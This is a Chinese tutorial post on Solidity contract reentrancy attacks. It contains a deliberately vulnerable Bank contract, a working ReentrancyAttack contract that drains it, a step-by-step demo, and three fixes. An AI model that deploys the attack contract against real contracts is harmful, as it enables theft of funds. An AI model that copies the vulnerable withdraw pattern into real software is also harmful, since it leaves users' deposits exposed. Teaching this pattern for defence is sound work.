当前位置:网站首页>[100个Solidity使用技巧]1、合约重入攻击
[100个Solidity使用技巧]1、合约重入攻击
2022-07-30 09:28:00 【33357】
原文发布在 https://github.com/33357/smartcontract-apps 这是一个面向中文社区,分析市面上智能合约应用的架构与实现的仓库。欢迎关注开源知识项目!
合约重入攻击
原理分析
合约重入攻击,是指在同一交易中对业务合约进行多次调用,从而实现对合约的攻击。
- 合约重入
如果业务合约的公开方法中,有提现 Ether 或者调用第三方合约的操作,那么就可以对合约方法的进行二次以及多次调用,从而实现合约重入。
- 重入攻击
大多数情况下,重入攻击利用了业务合约先提现 Ether 或者调用第三方合约,然后修改合约状态的漏洞,从而实现重入攻击。
流程图示
- 合约重入
- 重入攻击
示例代码
这是一个简单的 Bank 合约示例,它的功能是存入和提现 Ether。如果你看不出合约的问题,说明你正需要学习这节课。(这个合约有巨大漏洞,请不要直接使用在任何实际业务中)
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.12;
interface IBank {
function deposit() external payable;
function withdraw() external;
}
contract Bank {
mapping(address => uint256) public balance;
uint256 public totalDeposit;
function ethBalance() external view returns (uint256) {
return address(this).balance;
}
function deposit() external payable {
balance[msg.sender] += msg.value;
totalDeposit += msg.value;
}
function withdraw() external {
require(balance[msg.sender] > 0, "Bank: no balance");
msg.sender.call{
value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}
}
contract ReentrancyAttack {
IBank bank;
constructor(address _bank) {
bank = IBank(_bank);
}
function doDeposit() external payable {
bank.deposit{
value: msg.value}();
}
function doWithdraw() external {
bank.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {
bank.withdraw();
}
}
演示流程
选择 solidity 版本为 0.8.12,部署 Bank 合约。
将 Bank 合约地址作为参数部署 ReentrancyAttack 合约。
value 选择 1 Ether,点击 Bank 合约的 deposit 方法,存入 1 Ether。
value 选择 1 Ether,点击 ReentrancyAttack 合约的 doDeposit 方法,存入 1 Ether。
点击 Bank 合约的 totalDeposit 方法,是 2 Ether,点击 Bank 合约的 ethBalance 方法,也是 2 Ether。
点击 ReentrancyAttack 合约的 doWithdraw 方法,进行重入攻击。
点击 Bank 合约的 totalDeposit 方法,是 1 Ether,点击 Bank 合约的 ethBalance 方法,却是 0 Ether。
使用 Bank 合约的 balance 方法查看 ReentrancyAttack 合约地址和合约创建者,发现合约创建者 balance 为 1 Ether,但是合约里已经没有 Ether 可以提供兑付。
修复问题
- 禁止重入
boolean public entered;
modifier nonReentrant() {
require(!entered, "Bank: reentrant call");
entered = true;
_;
entered = false;
}
function withdraw() nonReentrant external {
require(balance[msg.sender] > 0, "Bank: no balance");
msg.sender.call{
value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}
使用 nonReentrant 来禁止合约重入,可以防止重入攻击。这里推荐使用 openzeppelin 的官方防重入合约 @openzeppelin/contracts/security/ReentrancyGuard.sol
。
- 在提现 Ether 或者调用第三方合约之前,先修改合约状态
function withdraw() external {
require(balance[msg.sender] > 0, "Bank: no balance");
uint256 _balance = balance[msg.sender];
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
msg.sender.call{
value: _balance}("");
}
优先修改合约状态,虽然不能禁止合约重入,但可以避免被重入攻击。
- 禁止转账 Ether 到合约地址
function withdraw() nonReentrant external {
require(balance[msg.sender] > 0, "Bank: no balance");
uint256 size;
address sender = msg.sender;
assembly {
size := extcodesize(sender)
}
require(size == 0, "Bank: cannot transfer to contract");
msg.sender.call{
value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}
禁止转账 Ether 到合约地址,可以防止转账 Ether 导致的合约重入。
边栏推荐
猜你喜欢
PyQt5-在窗口上绘制文本
转行软件测试,报培训班3个月出来就是高薪工作,靠谱吗?
shell脚本
Re15:读论文 LEVEN: A Large-Scale Chinese Legal Event Detection Dataset
快解析结合象过河erp
C#中Config文件中,密码的 特殊符号的书写方法。
百度推广助手遇到重复关键字,验证错误,怎么一键删除多余的
STM32CubeMX配置生成FreeRTOS项目
快解析结合用友时空
Re18:读论文 GCI Everything Has a Cause: Leveraging Causal Inference in Legal Text Analysis
随机推荐
梅科尔工作室-看鸿蒙设备开发实战笔记五——驱动子系统开发
柱状图 直方图 条形图 的区别
105. 从前序与中序遍历序列构造二叉树(视频讲解!!)
(文字)无框按钮设置
大数据产品:标签体系0-1搭建实践
论文阅读:SegFormer: Simple and Efficient Design for Semantic Segmentation with Transformers
EViews 12.0软件安装包下载及安装教程
Soft test system architects introductory tutorial | system operation and software maintenance
New in GNOME: Warn users when Secure Boot is disabled
HR团队如何提升效率?人力资源RPA给你答案
Detailed explanation of JVM memory layout, class loading mechanism and garbage collection mechanism
PyQt5-在窗口上绘制文本
HCIP - MPLS VPN experiment
树莓派_烧写Raspberry官方镜像系统
leetcode 剑指 Offer 22. 链表中倒数第k个节点
神秘的APT攻击
C语言顺序表基本操作
Re15:读论文 LEVEN: A Large-Scale Chinese Legal Event Detection Dataset
线上靶机prompt.ml
Only after such a stage of development can digital retail have a new evolution